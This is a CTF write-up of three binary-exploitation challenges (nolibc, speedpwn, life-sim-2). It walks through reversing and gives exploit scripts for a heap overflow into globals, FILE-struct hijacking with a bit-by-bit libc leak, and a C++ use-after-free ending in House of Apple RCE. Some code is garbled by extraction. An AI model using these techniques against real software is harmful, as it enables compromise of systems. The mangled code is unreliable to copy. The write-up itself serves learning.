Right after my 1st week of prelims was Project Sekai CTF - how could I miss this
event?
I played with slight_smile and got 11th place, way higher than I expected given
the overall difficulty of the challenges. We were just slightly below 10th place
(in fact, near the end we kept swapping positions with Black Bauhinia because of
dynamic scoring)
All the pwns were really cool and I had a lot of fun solving them. These are my
writeups for pwn/nolibc, pwn/speedpwn, and pwn/life-sim-2 (unfortunately
windows kernel and v8 0-day are just slightly out of my skill level)
nolibc
No libc means no vulnerability right?!
Author: Marc Solves: 56
The challenge binary was statically linked with a custom malloc/free
implementation. No source was provided, so we gotta do a bit of reversing :(
Reversing
We first need to register and login to the challenge.
register
We can create a user with a username and password. Upon creation, a large chunk
in the heap is allocated for the user’s data, and a pointer to this is stored in
the global array. state[4] stores the number of created strings.
__int64 register() { int *state; // [rsp+8h] [rbp-18h] int *password; // [rsp+10h] [rbp-10h] int *username; // [rsp+18h] [rbp-8h]
if ( registered > 0 ) returnputs("You can only register one account!"); print_str("Username: "); username = malloc(0x20); if ( username ) { read_str((char *)username, 0x20); if ( (unsignedint)strlen((__int64)username) ) { print_str("Password: "); password = malloc(0x20); if ( password ) { read_str((char *)password, 0x20); if ( (unsignedint)strlen((__int64)password) ) { state = malloc(0x4010); // register the user in the heap *(_QWORD *)state = username; *((_QWORD *)state + 1) = password; state[4] = 0; global_array[registered++] = state; // global_array[0] = state returnputs("User registered successfully!"); } else { puts("Invalid password"); free((unsigned __int64)password); returnregister(); } } else { puts("Invalid password"); free(0LL); returnregister(); } } else { puts("Invalid username"); free((unsigned __int64)username); returnregister(); } } else { puts("Invalid username"); free(0LL); returnregister(); } }
Then after logging in, the user can interact with the following functions:
puts((__int64)"1. Add string"); puts((__int64)"2. Delete string"); puts((__int64)"3. View strings"); puts((__int64)"4. Save to File"); puts((__int64)"5. Load from File"); puts((__int64)"6. Logout"); print_str("Choose an option: ");
create_string
We can create a string with a certain length between 0x0 and 0x100. The string
is created with malloc(size + 1), and we can write size + 1 bytes to it.
Note that the malloc implementation is custom which we’ll look at later.
After the string is created, a pointer to it is appended to the user’s data, and
the string count is incremented.
__int64 create_string() { int *new_string; // [rsp+0h] [rbp-10h] int length; // [rsp+Ch] [rbp-4h]
if ( *(int *)(global_array[user] + 16LL) > 0x7FE ) returnputs((__int64)"You have reached the maximum number of strings"); print_str("Enter string length: "); length = read_int(); if ( length > 0 && length <= 0x100 ) { print_str("Enter a string: "); new_string = malloc(length + 1); if ( !new_string ) { puts((__int64)"Failed to allocate memory"); puts((__int64)&byte_3124); exit(); } read_str((__int64)new_string, length + 1); *(_QWORD *)(global_array[user] + 8 * ((int)(*(_DWORD *)(global_array[user] + 16LL))++ + 2LL) + 8) = new_string; returnputs((__int64)"String added successfully!"); } else { puts((__int64)"Invalid length"); returnputs((__int64)&byte_3124); } }
delete_string
Similarly, we can delete a string at a given index. After the string is freed,
any pointers after the deleted string are shifted back by 1, and the string
count is decremented.
__int64 delete_string() { int v1; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h]
if ( *(_DWORD *)(global_array[user] + 16LL) ) { print_str("Enter the index of the string to delete: "); v1 = read_int(); if ( v1 >= 0 && v1 < *(_DWORD *)(global_array[user] + 16LL) ) { free(*(_QWORD *)(global_array[user] + 8 * (v1 + 2LL) + 8)); for ( i = v1; i < *(_DWORD *)(global_array[user] + 16LL) - 1; ++i )// shift strings after back *(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8) = *(_QWORD *)(global_array[user] + 8 * (i + 1 + 2LL) + 8); --*(_DWORD *)(global_array[user] + 16LL); returnputs("String deleted successfully!"); } else { puts("Invalid index"); returnputs(&byte_3124); } } else { puts("No strings to delete"); returnputs(&byte_3124); } }
view_string
This will print all strings in the user’s data. Nothing much of interest here.
if ( *(_DWORD *)(global_array[user] + 16LL) ) { for ( i = 0; ; ++i ) { result = *(unsignedint *)(global_array[user] + 16LL); if ( i >= (int)result ) break; print_str("String "); print_num((unsignedint)i); print_str(": "); puts(*(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8)); } } else { puts("No strings to view"); returnputs(&byte_3124); } return result; }
save_strings_to_file
Each string is saved as a line in a user-specified file.
int *save_strings_to_file() { int v1; // [rsp+8h] [rbp-28h] int *file_contents; // [rsp+10h] [rbp-20h] int *filename; // [rsp+18h] [rbp-18h] int j; // [rsp+24h] [rbp-Ch] int i; // [rsp+28h] [rbp-8h] int size; // [rsp+2Ch] [rbp-4h]
Lines are read from a user-specified file and appended to the user’s existing
list of strings.
int *load_strings_from_file() { int *string; // [rsp+0h] [rbp-30h] int file; // [rsp+Ch] [rbp-24h] int *file_contents; // [rsp+10h] [rbp-20h] int *filename; // [rsp+18h] [rbp-18h] int i; // [rsp+20h] [rbp-10h] int size; // [rsp+24h] [rbp-Ch] int v7; // [rsp+28h] [rbp-8h] int v8; // [rsp+2Ch] [rbp-4h]
My first thought was to use save_strings_to_file to
overflow the heap (since there’s no actual check on the total length of the
chunk data being copied into the 0x7fff size chunk). Let’s first analyze the
malloc and free implementations.
This malloc is quite a simple implementation that only has 1 freed list,
sorted by increasing size. This is the shape of a chunk allocated with malloc:
size ptr to next chunk 0x0000000000000020 0x000055555555d080 subsequent data 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
(size doesn’t include the header size btw)
The program stores a pointer to the smallest freed chunk as the list head, and
cycles through the list until a chunk with size greater than or equal to
requested size is found, eventually reaching the forest chunk. If even the
forest chunk is too small to service the request, malloc will return 0.
Then, if the victim chunk is large enough to be split, it will be split into the
last remainder.
free
free is slightly more complicated, and since the source is kinda long I won’t
include the decomp here. Basically, what it does is it again cycles through the
freed list, looking for a place to insert the freed chunk into. Once inserted,
it also updates the smallest_freed_chunk global pointer if needed. Finally, it
calls another function which merges adjacent free chunks, and updates the size
of forest_chunk to make sure &forest_chunk + forest_chunk->size always
points to the end of the heap.
A very important thing that I missed at first, is that forest_chunk is
initialized as the start of the writable segment in memory, and its size is set
to +0x10000 from the start of this segment, pointing to the end of heap. Right
after it are all our other global values:
So if forest chunk were to overflow, we can start overwriting all these values!
Exploit
/dev/stdin method
Earlier, we saw that size of a chunk doesn’t include its header size. But if
the size of forest_chunk was initialized to be end_of_heap - start_of_heap
(0x10000), and this doesn’t include the header size, then… won’t this lead to
a 0x10 overflow?
Looking at the load_strings_from_file function, it allocates a chunk of size
0x20 for the filename, and another of size (0x7fff + 1) & 0xfffffff0 = 0x8000 for the file to be read into. Then, it starts to malloc more chunks
for the strings read from the file. After registering a user, our forest_chunk
is of size 0xbf80.
So, the amount we need to allocate to just fill up the heap is 0xbf80 - 0x8000 0x10 - 0x20 - 0x10 = 0x3f40. Since we can allocate up to 0x7ff chunks of
maximum size 0x100 + 0x10, we could definitely do this manually using
create_string. Or we can save ourselves a lot of time by just setting the file
we read from to be /dev/stdin, and feed in the values we want!
p.sendlineafter(b"Choose an option", b"2") p.sendlineafter(b"Username:", b"samuzora") p.sendlineafter(b"Password:", b"password") p.sendlineafter(b"Choose an option", b"1") p.sendlineafter(b"Username:", b"samuzora") p.sendlineafter(b"Password:", b"password")
p.sendlineafter(b"Choose an option", b"5") p.sendlineafter(b"filename:", b"/dev/stdin")
If we look at the xrefs for each of the numbers, they are passed into rax
before certain syscalls are made. For example, looking at +0x15008, it’s
referred to in the open_and_read_file function:
p.sendlineafter(b"Choose an option", b"5") p.sendline(b"/bin/sh")
Unfortunately, this solution only works on local. On remote, the binary can’t
access /dev/stdin or any of the other alternatives (I tried /proc/self/fd/0,
/dev/tty etc), so we can’t read in the overflow directly like that :(
I probably overthought this solution anyway…
create_string method
The other alternative is to simply use create_string to overflow the heap
directly. After registering, the size of forest_chunk is still 0xbf80. From
create_string, we can fill up the heap with 0xbf * 0x100 chunks. The last
chunk left, 0x80, will be used to overflow.
Note that we need to make a bit of space for the malloc(0x20) call when
reading in the filename, if not the program will crash.
for i inrange(0xbf): print(i) create_string(0xef, b"asdf")
Beat the bot and get the flag! First solver gets a $77.77 bounty :)
Author: Zafirr Solves: 27
This challenge was released on the second day at 12:00am SGT, and there was a
bounty for first blood! I woke up at 12:01am to take a look, found the overflow
at 12:04am, and realized that I had no idea how to turn it into arb write. At
12:06am, I decided there was no way I would solve it in time LOL. After that I
went back to life-sim-2. The Flat Network Society blooded the challenge at
1:45am - no chance I could have gotten it.
After solving life-sim-2 I took another look at this challenge.
Analysis
Source was given for this challenge.
We can play some kind of number comparison game with the bot in the program.
This is the function that does the comparison:
intcmp(unsignedlonglong a, unsignedlonglong b) { if (__builtin_popcountll(a) != __builtin_popcountll(b)) { return __builtin_popcountll(a) > __builtin_popcountll(b) ? 1 : 0; } for(size_t i = 0; i < 64; i++) { if ((a & 1) != (b & 1)) { return a & 1; } a >>= 1; b >>= 1; } return0; }
__builtin_popcountll counts the number of set bits in a number.
Basically, it first compares the number of set bits in both numbers, then cycles
through each bit of both numbers, starting from the least significant bit, and
compares them, returning the value of the first bit (of the first number) that
is different.
In fight_bot, after winning or losing a game, game_history is updated by
setting the current bit to 1 or 0 respectively, and then incrementing current
bit by 1. There’s no bound to the current bit, so we can overflow and control
everything after game_history. Let’s look at what lies after:
As it shows, we can overwrite seed and seed_generator. GOT is found above
game_history, so we can’t overwrite GOT directly. Overwriting seed isn’t
very useful. However, overwriting seed_generator will allow us to control a
file pointer, which is quite powerful!
Exploit
Getting partial write
To make things more convenient for us, let’s define a helper that converts a
sequence of bytes into a series of wins and losses:
deffight(win: bool): p.sendlineafter(b"> ", b"f") if win: p.sendline(b"-1") else: p.sendline(b"0")
payload = p64(0xdeadbeef, endian="big") hexstr = payload.hex() binstr = "{:08b}".format(int(hexstr, 16)) binstr = [binstr[i:i+64][::-1] for i inrange(0, len(binstr), 64)]
print(binstr)
counter = 0 for num in binstr: for i in num: counter += 1 if counter % 100 == 0: print(counter) if i == "0": fight(False) else: fight(True)
First, we convert our payload into binary representation (in big endian so order
of bits is continuous). Then we slice it into slices of 64 bits, and reverse
each slice, because we start writing from the most significant bit as shown:
0x0000000000000000 ^ we start writing here
So we should reverse each 64-bit slice, such that our first game writes the most
significant bit and so on. Let’s test out our script:
It works! Now, we can control the file pointer. But what do we set it to?
Controlling file pointer
This is the struct of _IO_FILE_complete_plus:
struct _IO_FILE_complete_plus { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
conststruct _IO_jump_t *vtable; };
For example, this is the file that the program opens, found in the heap:
When fread is called, it does a couple stuff, before calling the
_IO_file_xsgetn as defined in the file’s vtable. _IO_file_xsgetn then does a
lot of stuff on its own too.
_IO_file_xsgetn
First, it checks if the file has a defined buffer region. If it doesn’t already,
it allocates a new buffer with _IO_doallocbuf.
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
Now that the file has a buffer region, it starts reading the data. If the amount
of data to be read in is less than the read region size, then it reads it in
directly and exits the loop.
while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; }
If not, it checks if the file flags have the _IO_IN_BACKUP flag set, and if so
calls _IO_switch_to_main_get_area. Not very sure what this does, but the file
we have by default fails this check, so we can just ignore it.
Now, we check if _IO_buf_base is defined, and if nbytes is less than
_IO_buf_end - _IO_buf_base. If it is, we will call the _IO_file_underflow
function as defined in the vtable.
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break;
continue; }
_IO_new_file_underflow then does a lot of checks and initialization as well,
until we reach this part:
Now, we know how to control our write - if _IO_read_end - _IO_read_ptr is
equal to or less than 0, and _IO_buf_base is set, then the input will be read
into _IO_buf_base, and subsequently into user buffer as well. We can also
control the actual fd being read from by setting file->fd - let’s set it to 0
to read from stdin. Then, we want to read our input into GOT, overwriting the
srand function pointer. (since seed will be overwritten by our payload, and
it’s passed into srand in the reseed function, we can store our pointer to
/bin/sh in seed - but this means that we need to shift the start of our
write up by 8 bytes, so that system pointer still goes into srand)
rcx contains the pointer to our fake FILE struct. rdi stores the dereferenced
value of rcx + 0x88 - if we refer to the struct of _IO_FILE_completed_plus
above, we can see that this field is _lock. So we just need to set _lock to
a valid (writable) address.
[*] Switching to interactive mode Bot plays 3638836622758564030! Player plays: Bot wins! f) Fight bot s) Simulate game p) Print game history r) Reseed bot > Bot reseeded! Fatal error: glibc detected an invalid stdio handle
This error is easily recognizable as the newly-added error that prevents us from
overwriting vtable - if the _vtable field is not in the correct libc range,
it will throw this error. In this case, it’s because we left it as NULL, so it
became invalid. Unfortunately, this means we need to leak libc, which became
another can of worms on its own.
Libc leak
The simulate function seems quite suspicious - why would the author add this,
in a challenge where the participants need to solve as fast as possible, and
shouldn’t need to refer to such functions for help? Let’s take a closer look:
scanf famously leaves its argument untouched if the character specifier is not
found in the input. Since bot_num and player_num are not initialized, we
could possibly leak some values here, by comparing one against another! Let’s
set some breakpoints at each of the scanf calls and see if we’re lucky:
bot_num contains a libc value, while player_num contains a stack address.
Even better, since the stack alignment doesn’t change, we can reliably get this
value in bot_num when we recall simulate. So let’s leak it via bot_num!
Leaking values
We know that the cmp function is a bit more nuanced than just comparing number
of bits - it also checks the position of the bits themselves. This is what we’ll
use to slowly leak the libc address.
for(size_t i = 0; i < 64; i++) { if ((a & 1) != (b & 1)) { return a & 1; } a >>= 1; b >>= 1; }
At first, I was stumped here for quite a while. Because the function returns the
value of the first least significant bit that is different, a simple method of
comparing bit-by-bit wouldn’t work, because we don’t know which bit is the one
being compared against.
After taking a short break, I thought about it less abstractedly and more like a
physical thing I could play with, and came up with a algorithm to solve this:
After determining the number of bits, shift all the bits to the right. The
program should complain that a bit is set when it shouldn’t be (return 0)
Shift all the bits to the left. The program should now complain that a bit is
not set when it should be (return 1)
Slowly shift to the right bit-by-bit, checking the output of the function to
see when it switches from 1 back to 0. The moment it switches, we know that
we’ve placed a bit in the correct position, and can look for the next bit to
place
Repeat until we have the entire address
You can see it in action here:
Well, after leaking the libc base, we can go back to writing the correct vtable
address, and finally get our overwrite on GOT, to get our shell!
Unfortunately, I ran into the same issue as earlier - the connection was really
really really really really really slow…
I mean, it’s partly my fault for having such a slow algorithm, but the exploit
took about 35 minutes to run in total (I started my exploit at 8:19pm, finished
leaking at 8:27pm, and finished at 8:55pm)
You evolved from a single cell organism into a single braincell organism, a corporate CEO
No worries, you can make tons of money by making projects and hiring tons of wagies workers!
Hm? What do you mean one of the wagies workers hacked us????
Author: Zafirr Solves: 15
This was a pretty fun c++ challenge that didn’t rely so much on exploiting
std::string and std::vector, or super-precise heap feng shui, for a change.
Source was provided too :)
In this challenge, we are given an initial sum of 10000, and can use it to
create companies. In a company, we can create projects, which will slowly
increase the company’s budget. We can also hire workers in projects, which will
subtract a portion of the project’s profit, but exponentially increase the
amount of profit generated as well. Let’s take a closer look at each of the
classes:
*name name->length 0x555555587850: 0x0000555555587860 0x0000000000000005 name data name data 0x555555587860: 0x000000306e686f6a 0x0000000000000000 salary *project 0x555555587870: 0x0000000000000064 0x0000555555587790 0x555555587880: 0x0000000000000000 0x0000000000000021
Let’s also take a look at some of the stuff we can do:
When we call add_company, we can specify the company’s name and a budget to
assign to it. (budget will be important later!) The company will be appended to
a global vector of companies. Our starting capital is 10000, so this means we’re
initially limited to 10 companies.
We can hire workers for projects as well. After a worker is created, it’s added
to a global vector of workers and also the project’s own vector of workers.
Similarly, the worker will be removed from the project’s vector (in
company->fire_worker), and from the global vector. This is the worker’s
destructor function:
When we remove a project, the function checks if the project has any workers
left, and if not, removes the project from the company’s vector and destructs
the project.
Lastly, we can also sell companies, which will remove the company from the
global vector, free all its projects, and lastly free the company itself. A
company with either 0 workers or 0 budget can be sold - this is the first bug!
If we can somehow get budget to be 0 without firing workers, we can sell the
company even though it has workers, which will keep the workers in the global
vector, while the workers retain their pointers to the freed project, giving us
UAF. Let’s take a look at how budget is updated.
elapse_week
#define PROFIT_RATIO 2.3
voidelapse_week(){ for(auto it : companies) { it->elapse_week(); } }
When we call elapse_week, all the companies will calculate their new budget
according to the projects they currently have. The profit generated by a project
is given by profit_per_week * PROFIT_RATIO^number_of_workers - salary_of_workers.
This is the second bug - after the profit is added to our company’s budget, if
it’s sufficiently large, we can get it to overflow. Budget is uint64_t, so we
need to make it equal to 264. Let’s start our exploit!
Exploit
Going bankrupt
Plotting the function in Desmos, this is what we get:
After playing with the values for a bit, I got an x-intercept very close to 43
workers.
But we can rectify this by adjusting the company’s initial budget by
0xffffffffffffffff - 0xfffffffffffff928 + 1 = 1752.
Leaking heap
Now we’re almost ready to exploit our UAF, but we need to groom the heap a
little first. Our approach to the UAF will be to misalign the heap against our
UAF project, so that something like this happens:
# clear 0x41 tcache for i inrange(15): hire_worker(b"grr", b"p0", b"tom" + str(i).encode(), 0x30)
Now, our last worker tom14 will have forced the last remainder chunk to overlap
exactly with our project’s name size field. However, there’s one more problem -
our victim project’s company pointer is invalid, so the program will crash when we
call worker_info.
If we overlaid an actual project over this chunk, we can get the victim company
pointer to align with the actual project’s workers->end pointer, which will
be initialized when we add a worker to it.
for i inrange(2, 6): add_project(b"grr", b"p" + str(i).encode(), 500)
Now our UAF project is in 0x51 tcache. We can overwrite it using the
std::isstringstream trick, sending in a payload of size 0x40. In this payload,
we need to put both the company pointer and a fake company with name pointing to
our unsorted chunk (which will appear later).
payload = flat( 0x0, 0x0, heap_base + 0x163a0, 0x8, # use this as fake string for fake company 0x0, 0x0, heap_base + 0x136c0, 0x0, # points to the fake company above ) p.sendline(payload)
Then, we need to actually create the unsorted chunk - just spam more input into
the prompt to trigger malloc_consolidate again. After calling worker_info john0, our libc leak will appear in company name.
Now that we have our leaks, what do we do? The UAF project can’t be freed again
nor edited, so overwriting its fd pointer is not an option. We haven’t really
used move_worker yet, so let’s take another look.
When a worker is moved, its pointer is removed from the old project’s vector,
and appended to the new project’s vector. The latter is quite interesting - if
we can fake the new project’s vector, we can use this to write a worker pointer
to arbitrary addresses.
Having a heap pointer written to arbitrary addresses is a bit hard to exploit.
It’s not as flexible as having arbitrary write, because we can’t actually
control what’s being written to some extent. One way to exploit it is to write
the pointer to the _chain of another FILE object, and then exit the program,
leading _IO_flush_all to flush our fake file located at our worker pointer.
Then, we can do House of Apple to get our RCE.
But back to actually getting this write in the first place - how do we fake a
company? In the source for move_worker, we see that the company is actually
read from old_project, which is our UAF project. So we can make our UAF
project point to an address where we’ll setup the fake company. We can use the
same trick as earlier to overwrite the company pointer.
In the fake company, we need to fake the projects vector, and make it point to a
fake project. Then in the fake project, we can fake the workers vector, making
it point to our desired write region, so that when the worker is moved into this
project, the program will think that the vector data is at our write address,
and hence write the worker pointer to +0x8 of the address we supplied. Also make
sure that the vector capacity is big enough to hold the new worker.
# start of fake project heap_base + 0x16420, 0x2, 0x6161, 0x0, # project name is aa # stdin->chain - 0x8 (because when appending it will be 0x8 ahead) 0x0, libc_base + 0x203948, libc_base + 0x203948, libc_base + 0x203950,
# fake vector data - points to fake project heap_base + 0x16410, ) payload += b"a"*(0x410 - len(payload)) p.sendline(payload)
Now we need to choose a john worker to edit, so that we can write our fake file
into him. This john should eventually be consolidated into unsorted bin so that
we have a large enough region to control for both the fake file and the
_wide_data struct. Because of the way the heap is laid out, some random tcache
chunks are allocated between our johns, so we need to find a contiguous region
of johns that we can free to make the unsorted chunk.
Looking at the global workers vector, we can find a region of johns here:
Then, we need to consider which one of them should be our lucky worker that
becomes the fake file. We can go with john23, because we do need a little space
above john23 provided by john22 so that the fd and bk pointers, added when our
payload chunk is freed, will not interfere with our fake file.
# i love desmos # 1000 + (P * r^x - w * x) * t - 2^64 = 0 # twiddle with the values until x-intercept is close to whole number (43) # then tweak for error by calculating difference to be made up after elapse_week add_company(b"target-c", 1000 + 1752 - 500)
# tcache for i inrange(7): add_project(b"target-c", b"dummy" + str(i).encode(), 500)
# place our object snug in the middle add_project(b"target-c", b"target-p", 5160)
# a few more for i inrange(7, 10): add_project(b"target-c", b"dummy" + str(i).encode(), 500)
for i inrange(43): hire_worker(b"target-c", b"target-p", b"john" + str(i).encode(), 0x40)
# fill up 0x41 tcache as well for i inrange(7): hire_worker(b"target-c", b"target-p", b"robot" + str(i).encode(), 0x40) for i inrange(7): fire_worker(b"robot" + str(i).encode())
# skip dummy6 for i inrange(6): remove_project(b"target-c", b"dummy" + str(i).encode())
for i inrange(7, 10): remove_project(b"target-c", b"dummy" + str(i).encode())
payload = flat( 0x0, 0x0, 0x0, 0x0, # use this as fake string for fake company 0x0, 0x0, heap_base + 0x163c0, 0x0, ) print(hex(len(payload))) p.sendline(payload)
# start of fake project heap_base + 0x16420, 0x2, 0x6161, 0x0, # project name is aa # stdin->chain - 0x8 (because when appending it will be 0x8 ahead) 0x0, libc_base + 0x203948, libc_base + 0x203948, libc_base + 0x203950,
# fake vector data - points to fake project heap_base + 0x16410, ) payload += b"a"*(0x410 - len(payload)) p.sendline(payload)
move_worker(b"john23", b"aa")
# fill up tcache for i inrange(7): fire_worker(b"john" + str(i).encode())
# free chunks and make the fake file for i inrange(22, 30): fire_worker(b"john" + str(i).encode())